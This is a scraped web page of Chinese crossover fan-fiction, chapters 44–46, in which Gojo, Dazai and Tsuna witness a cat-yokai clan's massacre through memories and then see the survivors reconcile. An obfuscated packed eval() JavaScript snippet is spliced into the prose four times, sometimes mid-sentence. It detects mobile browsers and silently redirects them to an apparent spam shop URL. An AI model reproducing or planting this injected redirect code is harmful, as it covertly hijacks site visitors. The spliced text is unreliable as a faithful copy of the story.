;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797313|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那个人的眼睛,则是这张画作里最为浓墨重彩的一笔。 他的眼睛又大又圆,是大海一般的深蓝色,配着那张犹带稚气的脸,纲吉直觉应该很漂亮,但那人的眼睛睁得太大了,睁得眼眶就像是要裂开了一样,里面湛蓝色的瞳仁紧缩成一条细线,两边眼角都挂上了一抹刺眼的红。 那抹红色蜿蜒着,蜿蜒着,在那张脸上画下两条细细的血线。 右边血线截至在脸颊中部,因为有一只手阻碍了它的去势,那个人两只手狠狠地抓在脸上,左手在眉角处,右手在右半边脸颊的颧骨部位,五指都成爪状,指尖染上了点点猩红。 他的嘴巴也张大到了极限,一想到这里,那道悲痛愤恨至极的声音,仿佛又出现在耳边,不停地回荡,纲吉从来没有想过人类的发声器官竟然也能喊出那么痛苦的声音,犹如从黄泉返回现世的怨鬼吼叫。 皱了皱眉头,他让自己不去回想那道声音,否则逐渐泛起的酸楚感一定会击溃他的心理防线。 刻意将思绪转到其他地方,他想起来那个人的脑袋上顶着两只外灰内白的猫耳朵,身后那条猫尾巴露出一截,不是细长的类型,宽大得像是万年青的树叶,覆盖着丰富的浅灰色被毛。 看样子也是猫之一族的妖怪,是谁呢?纲吉觉得答案和他仅仅隔着一层薄薄的白纸,一戳即破,但一时间就是想不起来。 “是猫之千哦。” “啊——!”纲吉恍然大悟地大叫一声,“对对……是猫之千!” 有了这声提醒,那层薄纸立刻被戳破了,他想起来了,这个人的耳朵和尾巴和那只布偶猫的配置一摸一样,眼睛的配色也和布偶猫一样。 “五条老师你也看见了?”纲吉疑惑地道,“我记得你当时没有转头……” “是我这双特殊眼睛的功劳啦~”五条悟指了指自己的眼睛,“这双眼睛背后也看得见,所以纲吉以后想打坏主意的时候,记得要避开我这双眼睛哦。” “我才不会做这种事啊!” “我们现在看到的……”吐槽完的纲吉四处看了看,恍然大悟,“是猫之千的回忆吗?” “你的猜测,可能性达到了九成九。” 回答他的五条悟头也没抬,左手抱着黑猫,右手在黑猫团子身上这里轻轻戳一下,那里轻轻戳一下,但似乎都没有引来对方的反应。 他确认,那双猫耳朵是特别的……特别的敏感。 这一手欠的行为被纲吉看在了眼底,他无语地道:“五条老师,你再这样,等太宰君醒过来我会告诉他的。” “我什么也没干哦。”五条悟把黑猫放回衣服兜里,举起双手以示清白。 “好吧,”纲吉心不在焉地点了点头,他的情绪突然低落了下来,脸上也显出一点闷闷不乐,“猫之千……” 竟然是他!为什么会是他?他……遇到了什么事? 他五味杂陈地侧过头,布偶猫此时在很开心地跟左耳玩游戏,以右耳为中心,它绕着圈子地左跑一下右跳一下,灵活地躲过突然从头顶上方伸过来的左耳的手。 一会儿后,一人一猫似乎玩累了,双双瘫倒在地上。 布偶猫仰躺在地上,四肢大开,左耳呈大字型仰躺在它旁边,安静了没一会儿,他们突然一起呼哧呼哧地笑了起来。 看到这一幕,纲吉却实在难以露出笑容,布偶猫现在开心地露出肚皮的样子和刚刚少年椎心泣血的样子在他脑海里来回交替。 时间到底是个什么可怕的东西,最后竟把它变成了那样? 44.无可挽回的过去 没给他太多的思考时间,眼前的世界突然碎裂成千千万万片,扯着光做的尾巴飞往了天边,一眨眼间,他们来到了一个新的场景。 绿草茵茵的场地中只有两只猫,一只是狸花猫,一只是比刚刚见到时还要小一点的布偶猫,它们相对而立。 狸花猫的表情很凝重,嘴里念念有词,“……变!” 什么变化都没发生,一连几遍都是如此。 布偶猫脸上的表情从好奇到无聊到厌倦,一开始的期待在这个过程中消耗殆尽,它转头望向另外一边,“我要走了,左耳它们今天约我去抓鱼喵。” “等等,我会变的,我已经变过一次了,”狸花猫着急地喊道,脸上全是执拗,“再等我试一次,这一次,这一次我一定会成功变成人形!” 布偶猫看着它再一次变化失败,看着它全然没有放弃的表情,忍不住瞟了一眼天色,心不在焉地道:“你自己都没学会的话就不要想着来教我了喵。” 狸花猫一怔。 布偶猫没有发现它的表情变化,还在那抱怨:“说到底我们为什么要学这种东西?我才不想学喵。” “不想学的话,千酱就不会一个猫偷偷地在私底下用功了!”狸花猫突然大喊道。 布偶猫愣住,脸上迅速红了一片,眨眼之间那抹红就变成了一片青,片刻后它突然起身,硬邦邦地丢下一句就走:“玲酱是讨厌的偷窥狂,我再也不要和你一起玩了!” 布偶猫刚走出几步,身后就传来一句:“千酱是无能的自大狂,我才是再也不要和你一起玩了!” 听到这话,布偶猫的脚步停了一瞬,下一刻,它后腿发力,跑了起来,越跑越远。 “我讨厌你!!!” 这个场景到此为止,场中的人影渐渐淡去,沢田纲吉他们来到了下一个场景。 身穿燕尾服,脸上戴着一副金丝眼镜的橘发青年微微弯腰,头上一双尖尖的橘色猫耳朵跟着抖了抖,一礼毕,他抬起头,用戴着白手套的手扶了扶眼镜,慢条斯理地说道:“玲小姐不想现在回来,她说自己会在庆典开始前一天回来。” 被他行礼的对象是大了一点的布偶猫,布偶猫垂下脑袋,“猫之玲那个讨厌鬼,把她带回来,族里发生了一件这么大的事,可不能随着她的心意,任由她怎么做喵。” 下一刻,那个橘发青年消失了,取而代之的则是他们都熟悉的玲同学,只不过这一次,他们看见的玲,猫耳和猫尾俱全,猫尾巴上还系了一个绑着红色蝴蝶结的银色铃铛。 “猫之千你这个讨厌鬼,干嘛非要这么早地让我回来?”玲身后的猫尾巴竖得笔直,毛发炸开,一双猫耳朵也变成了飞机耳,怒气冲冲地道:“我在学校很忙的,还有很多课要上!” “我担心你不小心错过庆典日期喵,”布偶猫两只猫耳朵往下耷拉了一点,在不到一秒后就又精神地挺立起来,“接下来举办的庆典族里上下都很看重,你不能不来喵。” “……”玲被他堵得无话可说……了两秒钟,两秒钟后她扬起一个嘲讽的笑脸,“都过去这么多年了,猫之千你这讨厌的家伙还没学会变人的法术吗?” “我——说——了,”布偶猫咬着牙道,“我不是没学会,我是不想学!” “尽管嘴硬吧,学不会就是学不会。” …… 这边两人在吵架,那边围观两人吵架的沢田纲吉心生好奇,“猫之千是在什么时候学会变人的?” “这件事,你还是不要知道的比较好哦~” “是太宰君的声音,”沢田纲吉的脸上闪过一丝惊喜,朝声音传来的方向转过头去,“太宰君,你醒了?” 他看见一个黑猫脑袋挣扎着从五条悟的口袋里探了出来,接着是两只爪子,分别搭在脑袋两边的布料上。 “你这样子说话我竟然也能听懂了。”纲吉感叹了一句,随后提醒道,“哦,对了,太宰君你还不知道吧,在进入这个空间后我和五条老师都能听懂猫说话了,还有……” “不用说了,”黑猫打断了他,“你们先前的遭遇我知道得一清二楚。” “欸?太宰君你是怎么知道的?”纲吉诧异地道,“你刚刚不是陷入昏迷了吗?” “其实在那道惨叫声响起的时候,我就被惊醒了,但是似乎因为某种原因,当时我的意识控制不了这具身体,不过……”黑猫眨了眨眼,“虽然还是睁不开眼睛,但是外界的情况我都能清楚感知到哦。” “那……”那五条老师对你做的小动作你也能感知到喽? 纲吉想起了刚刚的事情,但这句话在说出口之前就被他识时务地咽了下去,他用余光隐晦地瞟了一眼一言不发,脸上仍然满是笑容的五条悟,说出另一句话,“那我们现在是在猫之千的记忆碎片里这一点你也知道?” 这句话一出口,他就对上了太宰的视线,虽然那看过来的眼神里不带任何情绪,但纲吉的心里仍然起了不好的预感,他不禁垂下眼帘,以避开太宰的注视。 沐浴在太宰貌似平静的目光中,纲吉感觉自己度秒如年,就在他挺不住要全部交代出来的时候,黑猫收回了眼神。 纲吉悄悄松了一口气。 “我知道哦,”太宰用平坦的语气说道,“事情的来龙去脉我已经大致了解了,这里没有危险,我们只需要接着看下去就好……” 他忽然将视线移到布偶猫身上,轻轻地道:“……很快、很快就会全部结束的。” 就在太宰说出这句话的下一秒,他们又切换到了一个新的场景。 一个类似会议室的地方,首位坐着一个以白发老人形象出现的猫妖,长桌两排坐了许多人,他们大都不认识,其中熟悉的只有左耳右耳两兄弟,布偶猫,玲,以及先前画面中曾经出现过的橘发青年。 他们似乎在说着什么,现场气氛很热烈。 “为什么我什么都听不清?”纲吉疑惑地侧过头,敲了敲耳朵。 “恐怕是这份记忆的主人自己都没记住这个时候他们在说什么吧,”太宰四处看了一眼,“所以我们这些无意闯入的听众也听不见。” 忽然,一声响亮到像是要撞破耳膜的推门声响起,一个模糊的人影从外面跑了进来,那个人影气喘吁吁地说道:“不好……不好了,外面突然闯进来很多穿着黑衣服的人类,那些人类还拿着突击步枪……” 会议室在这一瞬间静止了。 接下来的画面很是凌乱,不同人说话的声音以及各异的场景频繁又错乱地切换着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806560|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “攻击我们的是谁?” “不知道,不知道,子弹打中我的大腿了,救命——!” “别怕,我来救你了。” “左耳,这里还有一个受伤的。” “交给我吧,右耳哥你小心一点,别受伤了哦!” “大长老,你别去,我去,我去把他们全部赶出去……” “还是让族里最厉害的我第一个上吧,不要紧,我不会有事的。” “快看啊,大长老要赢了……” “玲小姐也很厉害嘛,那些子弹都打不中她。” “千大人今天表现得很勇敢,我还以为他会害怕得找一个地方躲起来。” “怎么会?千大人的天赋族内无人能比,有这种资质在身上他怎么会躲起来?” “那不是,千大人一直没能化形……” “天赋……哈哈哈……天赋,你们今天就要因为他的天赋全部死在这里了,竟然还是这么的天真。” “我本以为,你们研究出的那个结界会耗掉组织里一枚重要的资产和许多人力物力,但没想到……这群天真的猫妖竟然不设结界,在向全世界发出自己的位置后还是门户大开,真的替我省下了不少功夫,轻轻松松就进来了。” “这样也好,时间拖延得差不多了,枯藤……开始吧!” “是!” 就在这一刻,频繁切换的场景和人停止,进入记忆碎片之前那一场的战斗结果于此……复现,在枯藤一声“爆”下,场上的猫妖全部中招了,虽然中招后的表现形式不同,但他们显然都失去了战斗能力,无一例外。 之后,惨不忍睹的场面……出现了。 那就像是一个屠宰场,原先的战斗虽然比之刚刚他们经历的那一场要更加激烈,但那到底还算是一场势均力敌(也可能算不太上)的战斗。 现在,黑衣人们向着满地毫无抵抗能力的猫妖们下手,一枪下去,死不瞑目,流出的鲜血几乎要浸透绿色的草地。 “啧,我看不下去了。”五条悟拧着眉头,抬手就是一发苍,巨大的蓝色光球自他手中射出,打着旋地飞向黑衣人聚集的地方,但……那发苍从黑衣人们的身体中径直穿过,没有给他们造成一点伤害。 这里只是记忆片段,是现实的倒影,是曾经发生过的事情。 ——是无可挽回,亦是无能为力。 纲吉早就别过头去,从局势一边倒开始,他就没看了,他的眼睛死死地盯着脚下的地面,双手捂着嘴巴,感觉自己的胸腔里仿佛沉淀着什么东西,叫人直犯恶心。 一缕猩红色渐渐蔓延到他的脚下,纲吉忙不迭地移开腿,仿佛那是什么能伤人性命的可怖东西。 太宰一直仔细地观察着在场出现过的每一个人,从喊着救命的陌生猫妖,到忙着救治其他同胞的左耳右耳他们,到闯进这里的凶恶敌人,到第一个出去迎战的豪迈大长老,到倒在血泊里的玲,到叠在一起倒在草地里的双胞胎兄弟,最后…… ——到身体颤抖,一步都动弹不得,眼睁睁看着这一切发生的猫之千。 枪声络绎不绝,但……不管什么事物,总有尽头。 枪声也是如此。 它停下的那一刻,尸横遍野。 45.苦涩的结局 布偶猫的眼睛越睁越大,越睁越大,眼球几乎要突破眼眶,它张着嘴巴,仿佛要喊出点什么,但它什么声音都没能发出来。 那样的眼神,纲吉看了一眼不敢看第二眼,仿佛世间至痛降临在了它的身上,仿佛它正在经历着千刀万剐,痛到已经不想活了。 “天赋……哈哈哈哈……你引以为傲的天赋呢?”一个有着一头倒刺短发,身材无比健硕的男人走到动弹不得的布偶猫面前,伸手掐住它的脖颈,猛地一把将它提了起来,对着它暴喝一声:“说啊!你的天赋现在在哪里?!!” “队长……”跟在后面的枯藤小声提醒道,“别把它掐死了,任务目标要活的。” “我有分寸。”队长此人仍然掐着布偶猫不放,只是中途向枯藤撇去一眼,这一眼立刻就叫他闭上了嘴。 他再次看向手中面色青紫的布偶猫,咧起嘴角,无比轻蔑地说道:“狗屁天赋!再怎么厉害的天赋,摊在你这种垃圾妖怪身上也只会是一种浪费。” “看啊,就算是在这种情况下,你的天赋不也没有被激发出来吗?”他嗤笑了一声,眼珠一转,恶意止不住地从那对三白眼里溢出来,“还是说,死在这里的妖怪对你来说其实一点也不重要?” “它们不是你的同胞吗?不是你的同族吗?”队长单手掐着布偶猫的喉咙,掐得它骨头咯吱作响,另一只手捂着脸,仰天大笑,“哈哈哈哈,你可真是一只狼心狗肺的妖怪啊!” “啊对了,你不是人类……”笑声骤然停止,队长不屑地看着布偶猫,仿佛在看的是什么极其渺小的虫豸,“你只是一只没有感情的野兽而已。” 沐浴在那极度轻蔑的目光中,布偶猫的眼神慢慢变了,仿佛所有痛苦,所有悲伤,所有憎恨以及其他那些不能宣之于口的情绪,终于找到了一个出口。 下一刻,一道无形的光波自布偶猫的身上起,以极快的速度往外扩散一圈,将掐住它的手震开,连带手的主人也被推出一米之外。 啪地一下摔在地上的它身体渐渐拉长,长到大概一米七五左右停止,同时其形态也在发生变化,最终定形出一个人类的模样。 一头白色长发披在脑后,直至腰间,长相看起来是二十左右的样子,青年形态,身体修长,两只灰色猫耳朵竖起在头顶,一条叶子形状的宽大灰色毛绒尾巴伸到脚前,圈住脚腕。 在不管想做什么都已来不及的这一刻,猫之千竟然终于学会了化作人形。 说来话长,其实他变化形态只花了大概一秒钟,这么短的时间,被排斥出去的队长都还没有站稳脚跟。 刚化作人形,一道愤恨至极的呐喊便从猫之千的嘴里冒了出来:“你们都给我去死啊啊啊啊啊!!!!!!!” 话音未落,场上所有站着的人类的脚下突然冒出一个黑洞,热气蒸腾的黑洞一口咬住他们的身体,把他们吞了进去,任他们怎么挣扎都无济于事。 黑洞的另一头隐约能看见火光,只能在这个悲剧故事里旁观的太宰大致确定那里是一个布满岩浆的地方。 这是传送,换成通俗一点的说法就是,把人从一个地方瞬间移动到另一个地方。 这应该就是猫之千的天赋吧,是继承自祖先,被举族欢庆的天赋,也是被觊觎和嫉妒,甚至引来了灭族灾难的天赋。 猫之千冷漠地看着所有黑衣人极力挣扎的样子,任他们做出何种应对,都逃不开脚下已经咬住他们的黑洞,他们的身体渐渐地陷入黑洞,先是小腿,然后是整个下半身,最后连头颅也消失在黑洞里。 等到场内所有人类被一键清空,猫之千突然仰天喷出一口鲜血,向后栽倒在地上。 倒在地上后,他的身体逐渐缩小,又变回了那只布偶猫。 只是,此刻的布偶猫看起来尤为凄惨,肉眼可看见的地方,它的眼、耳、鼻、嘴四处地方都在往外流血,鲜血像是不要钱一样汨汨流淌,把一只皮毛大部分都是白色的猫咪整个染成了暗红色。 双目紧紧闭阖,看似陷入昏迷的布偶猫突然动了一下,接着它睁开了那双还在流血的眼睛,撑起四肢,从地上爬了起来。 拖着这个重伤欲死的身体,它跌跌撞撞地慢慢爬向了横躺在附近的一只老猫,爬到半路上,仅剩的体力已经不支持它继续动作,再挪动了几下后,它晃了一下,啪地一下摔在地上,重重地扬起几许灰尘, 再次倒在地上的血红色布偶猫极力张开爪子,爪子却只是颤颤巍巍地动了一下,眼皮也仿佛有千斤般重,仅剩的力气已不足以让它继续撑开上下眼睑。 慢慢的,慢慢的,它最终还是阖上了眼睛。 就在它昏迷过去的那一刻,太宰他们突然从这段记忆碎片里出来了。 上一秒眼里看见的还是重伤到全身都在流血,无力地倒在地上的布偶猫,下一秒看见的就是一位比第一次化形时(他们在记忆碎片里看到的)要小了几岁,跪坐在地上的,灰白发色的少年。 身形从青年体缩水成了少年体就罢了,他那一头长及腰间的白发也变成了甚至覆盖不了后脖颈的,还灰了不少的短发。 周遭的环境从尸横遍野变成了稍微带了点红的绿水青山,鸟雀叽叽喳喳的声音响起在耳边,驱散了刚刚格外安静,安静得简直叫人窒息的空气。 所有人紧绷着的身体都稍稍放松了一点。 纲吉放下捂着嘴巴的手,深深地呼吸了几口山林间特有的清新空气,他早已麻木的鼻子在这一刻忽然醒了过来,如同将一颗巨石投入平静的湖面,硝烟和着湿润泥土的气息瞬间取代了叫人不适的铁锈味。 四处看了看,纲吉慢慢扬起嘴角。 再次看见这些还活生生的人,即使知道这里面可能藏着什么不可告人的秘密,他也还是不由自主地……开心了起来。 太宰猫扒着五条悟的口袋环顾一圈,左耳和右耳面对面站着,神情有点说不上来的凝重,嘴唇一开一合,似乎在说着什么。 玲低着头颅,似乎在观察自己身上破破烂烂,脏得不成样的衣服。 猫之千……他的表情很奇怪,嘴角向上弯起似乎在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818971|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,可是他的眼睛里没有一丝一毫的笑意,里面沉着……足以淹没一切的悲哀。 黑猫钻出五条悟的口袋,轻巧地往地上一跳,平安落地后,迈着无声的步子向前走,这一动作全程都没有受到五条悟的阻止,但他才向前走了一步,身后就跟着响起了熟悉的脚步声,仿佛在明目张胆地告诉他—— 我不会妨碍你的人身自由,但你要再想主动去做些什么危险的事情,我会跟在后面。 察觉到的那一刻,太宰微不可察地顿了一下,随后花了大概十分之一秒让自己恢复正常,继续往前走,仿佛不知道五条悟很反常地跟在他后面似的。 以正常的步速走到灰白发少年面前,他张开嘴:“停手吧,猫之千。” 猫之千的眼神恍惚,目光贪婪地在四周所有人的身上打转,如饥似渴地攫取着一切足以让他趋近毁灭边缘的精神安静下来的东西,一刻也不舍得移开。 “你在说什么啊?”他敷衍地说道,并没有移开视线去看太宰。 “你是知道的,”太宰笃定地说道,即使是猫身,也能轻易感受到此刻围绕在他周身的,不是什么轻飘飘的东西,而是某种沉重又沉静的东西,那是在他身上难得一见的姿态,“即便你一开始不知道,现在也必定知道了。” 猫之千:“……” 他没有说话,只是,眼神仍然固执地停留在周围人身上。 黑猫轻轻地叹了一口气,忽然变作猫耳少男的模样,转身,向一直跟在他身后,最后跟到了这里的五条悟要来保管在他那里的东西,再朝少女玲招了招手,“玲,过来一下。” 少女玲朝他看了一眼,眼风扫到旁边的猫之千时顿住,片刻后收回视线,欲要朝他们这边走,临走之前又停住脚步,两只手在身上掸了掸,尽管衣服上灰色的斑点不会因为她这一两下就消失,她还是认真地将上下包括鞋子全打理了一遍。 再抚平衣服上的褶皱,找到掉落在周围草地上的红色绳圈,将散落的头发拢在一起,给自己扎了个高马尾,甩了甩头发,玲露出一个笑容。 自觉一切干净利落后,玲走到太宰这边,挨个打了个招呼,视线在所有人身上来回晃悠了一圈后,最终落到太宰的脸上,“太宰,恭喜!你找到他了。” 她好奇地问道:“对了,上次我还没来得及问你找这讨厌鬼有什么事呢?” “只是一些不值一提的小事啦,”太宰轻描淡写地将之忽略了过去,在玲还想追问的时候提出另外一个话题,堵住了她即将要说出口的问题,“玲,这是你在医院落下的东西,现在物归原主哦~” 他伸出了手,绑着红色蝴蝶结的银色铃铛和五彩缤纷的金平糖正躺在上面。 “还以为再也看不见我的宝物了,”玲两眼放光,却没有伸手去拿,她将双手背到身后,上半身微微前倾,歪着脑袋笑道:“右耳只跟我说自己没拿到,不过给我带来了一份惊喜,原来他说的惊喜是指这个啊!” “你不收回去吗?”太宰将手连带手里拿着的东西再次往前递了递。 46.心动瞬间 玲伸出手,却只是从开封的金平糖里捻出一颗粉色糖果,“有这一颗就够了。” 她将粉色糖果丢进嘴里,嚼了嚼,咽下去后,转头看向五条悟:“上次还没来得及告诉五条老师,糖很甜,我很喜欢,谢谢你。” 五条悟稍稍错开眼神,“不客气啦,你喜欢的话我可以给你买更多。” “有这一包就够了,”玲弯起眼睛,“我喜欢的东西,也想分给你们尝尝,所以,剩下的金平糖都分出去吧,大家应该也会喜欢。” “这样啊,”太宰看了她一眼,脸上浮起一个淡淡的微笑,干脆应下,“好啊。” 他招呼纲吉过来,将一整包金平糖递给他,让他将糖果分发出去,给在场的每一个人。 一包糖果并不多,但也足够在场的每一个人都能分到一颗,纲吉捏着最后一颗多出来的,目光在所有人身上扫了一遍又一遍,还是没发现哪个有被他漏下。 抓了抓头发,他走到太宰面前,将金黄色的糖果递向他,“还剩下一颗,我不知道该分给谁。” “最后多出来的一颗……”太宰注视着那颗金平糖,目光慢慢移到自玲过来后就一言不发的猫之千身上,“给他吧,这是他应得的。” “玲,我这么分你没意见吧?”他朝玲投了个询问的眼神。 “分给讨厌鬼……?”玲皱了皱眉,忽然转了个身,右手伸到身后朝他们挥了挥,“没看到就是没意见,就给他吧。” 于是,纲吉就把那颗糖强行塞到了猫之千的手上。 包装纸被剥开,好看的糖果进入口腔的那一瞬,似乎连硝烟味的空气闻着都不呛鼻了,甜甜的味道代替了它。 “我的品味还是很不错啊。”五条悟自夸了一句。 太宰:? 为什么要对着我说??? “是啊,五条老师。”见太宰只是瞪着五条悟不说话,纲吉连忙凑过来接住他的话题。 猫之千没有选择和其他人一样吃糖,手里的两颗糖果被他攥得紧紧的,指关节用力得像是凸出一截,两颗不规则形状的糖果互相摩擦,发出不堪重负的咔嚓声。 他盯着玲的后背,眼神似乎在傻呆呆地发愣。 “糖很甜哦~”不知道是不是为了抛开有点莫名其妙的那两人,太宰走到了他的身边,“你不试试吗?” 听到他的声音,猫之千这才移开在所有猫妖身上来回跳跃的视线。 瞟了太宰一眼后,不知道从那双鸢眼里得到了什么信息,他低下了头。 手掌慢慢展开,两颗糖果出现在他的视线里,虽然被先前的力道攥得稍稍变形,但整体仍保持了一个完整的形态。 鼻翼微动,似乎有香甜的气息直往他的鼻子里钻,诱惑他张嘴,但他就只是直愣愣地看着,像个傻瓜一样。 “不要辜负别人的心意,”太宰的声音再次在他耳边响了起来,“特别是犹如清晨露珠一般美好的女孩子的心意哦~” 缓缓地眨了眨木楞的眼睛,灰白发色的少年抬起另一只手去剥糖纸,他的手就像是被下了木化的咒语,剥糖纸的过程中几次对不齐开口,那糖纸犹如一块被点燃的煤块,烫手似的,叫他不时承受不住地放下,停顿片刻后,才重新开始动作。 就这样一点一点地、无比艰难地剥开漂亮的包装纸,他捻起被暴露在外的金黄色糖果,郑重地将之放进嘴里。 “这样才对嘛~”太宰笑了起来。 等他把两颗糖果都吃掉后,太宰开口道:“也许你应该在这个时候主动去和玲道个歉?” 猫之千茫然地抬起头,纯然无措的目光落在他身上。 “你已经不是小孩子了不是吗?”太宰上前一步,稍稍踮起脚(两个人此刻都是少年体型,身高差不多),摸了摸他的脑袋顶,“小时候的那件事你还要记恨到什么时候去?现在就是你们和解的最后机会啦~” 在碰到他的那一刻,太宰的眼里闪过一丝意外,很快便变成了然。 猫之千垂下脑袋,藏起自己的表情,胡乱点了点头,转身向着玲走去,看样子是听他的话去找玲道歉了。 “依我看,你也许比我更适合当老师……”一直跟在他后面也来到附近的五条悟突然发声,“说不定不当侦探,去当个老师更适合你呢……幼师就很不错哦~” “你是说我刚刚的行为,就像个正在安抚幼儿的老师一样?”太宰单手扶在额头上,阴影笼罩下,一个略显阴森的心累表情立刻活灵活现地出现在他的脸上,“可饶了我吧,我才不想给一群麻烦小鬼当保姆呢。” “而且,五条老师才是真正的老师吧,你就没有什么话……”他放下手,表情一下从搞怪变成了正经,看向五条悟,“想对你可爱的学生玲说吗?” “硬要说的话,我其实不是她真正的老师啦,”五条悟抬起眼,眼里的碧波缓缓荡漾,“但……作为临时的老师,想来我也有这个资格对她说一句话,同时这也是我心里想说的——” “干得漂亮,玲同学,接下来就全部交给五条老师我吧。” “玲没听到还真是可惜呢,”太宰轻声说道,目光在远处的玲身上一瞥而过,再次回到五条悟身上,“不过你这句漂亮话里还有一个地方有问题哦。” 五条悟歪了歪脑袋:? 太宰抬起右手,食指点在下颌上,身体微微前倾,弯起眼眸轻笑:“五条老师的身边有我在,怎么会把所有事情全部交给五条老师一个人呢?” 宛如银白的月光洒落在平静的湖面上,湖面下便也倒映出一轮清凌凌的弯月。 五条悟:“……” 心脏突然猛烈地跳动了一下,比之以往任何时候都跳得更快,扑通扑通的声音吵得他几乎不能思考。 “等等,还有我啊,”沢田纲吉突然冒了出来,单手举起在两人中间晃来晃去,“我我我,我也在,不会让五条老师一个人的! “嗯……也对,”太宰看向纲吉,点了点头,“勉强可以把纲吉也算上。” “为什么轮到我就是勉强?”纲吉不太满意,“我也很有用的。” “要说为什么……”太宰突然在脸上露出一个深深的坏笑,“纲吉,上个星期老师给你留的课后作业……你都做完了吗?” 致命一击!纲吉选手被击中要害,扑倒在地,再起不能! 单手捂着脸,纲吉缓缓蹲下身,可怜兮兮地缩成一团。 不谈学习的话,我们还是好朋友…… “哈哈……哈哈哈哈……哈哈哈哈……”五条悟突然爆出一阵大笑,笑声连绵不绝,声音大得周围的人都看向了他们这边。 “五条老师这是怎么了?”纲吉凑到太宰身边,小声说道。 “……也许是因为被你的话逗得太高兴了?”太宰摸了摸下巴。 “欸……是因为我刚刚的话吗?”纲吉挠了挠后脑勺,百思不得其解,“我说了什么逗他高兴的话?” “想不出来就别想了,也或许你的五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828568|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条老师只是突然失心疯了呢,”太宰随意地摆了摆手,“有些人高兴的时候就会变成这样,是很正常的一件事哦~” “喂这到底哪里正常啊?!”纲吉脱口而出,“突然失心疯不是很奇怪吗?更别说这可是五条老师欸!” “nice吐槽!”太宰竖起大拇指,“上次国木田君和敦君都不在我身边的时候,刚好有西格玛在,现在他们三个都不在的时候,幸好还有你在。” “国木田君、敦君、西格玛……”纲吉的额角不禁挂上了三条黑线,“我虽然不认识这三位,但好像已经不得了地知道了他们在面对你时所扮演的角色欸。” “再加上一个我,总觉得我们几个很不妙啊,呃……,是出现在你的嘴里很不妙……” “不用担心啦,你们都是国木田君的平替哦~” “哪里担心了?!!” “就是这样,你的工作做得一如既往的好。” “我该做的工作绝不包括这种才对吧,再说了我还是个学生,哪里会有工作啊?” “果然,如果没有人在一旁对我的话发出各种不妙的感慨和奇怪的吐槽,”太宰一脸满意地点了点头,“那不就太无聊了吗?” “喂喂喂,说出这种话的你看起来很屑啊!”纲吉抓狂地道。 “没关系,你就尽管怎么想吧,”太宰做出一个大义凛然的表情,“我都无所谓哦~” “更屑了啊!” …… 在他们一个做逗哏,一个做捧哏进行漫才表演的时候,远远地,一阵脚步声突然传了过来。 听到这道逐渐靠近的奇怪脚步声,太宰停下只有自己快乐的逗人行为,朝声音传来的方向转头。 那是右耳,正在朝他们这边走过来,他的步履沉重又缓慢,目光茫然而无神,前方的一切似乎被他看见,但又似乎没有真正地落入他的眼底,眉毛时而舒展时而紧皱,脚步也一走一停。 这还是太宰第一次看见他这副模样,不管是他曾经遇见的右耳,还是在猫之千的记忆里看见的右耳,都没有出现过这么一副样子。 显然,有一件很重要的事情压在他的心头,让他既担忧不已,又犹豫不决。 一段堪称漫长的时间后,右耳终于走到了太宰他们所在的位置。 站在太宰面前,他深吸了一口气,一寸一寸慢慢抬起头,仿佛脖子上顶的不是自己的脑袋,而是千斤重量的巨石,“……太宰,我有事要求你帮忙。” 沢田纲吉左看看太宰,太宰虽然脸带浅笑,但周身氛围已是悄然发生了变化,和刚刚跟他说话时的轻松随意截然不同;右看看右耳,这位更是把自己要说的是个大秘密这句话刻在了自己的脸上。 他不由得举起手,“要不,我离开这里,给你们腾出一个可以安静说话的空间?” “……不,没关系,我求太宰的事情,你们……”右耳分别看了一眼脸上有点尴尬的纲吉和站在太宰身后,完全没有要走开,脸上也没有一点不好意思的五条悟,“如果也能答应帮忙的话,那更好。” “既然是这样,”太宰露出一个浅笑,“纲吉你就留在这里,和我们一起听听他要说什么吧。” 于是纲吉同学才没有出去随便找个地方待着自个儿凉快去。 但还没等右耳开口说出他要求人帮忙的事情,太宰突然侧过身,望向了站在他身后的五条悟。 五条悟:“……” 突然就有了不好的预感。 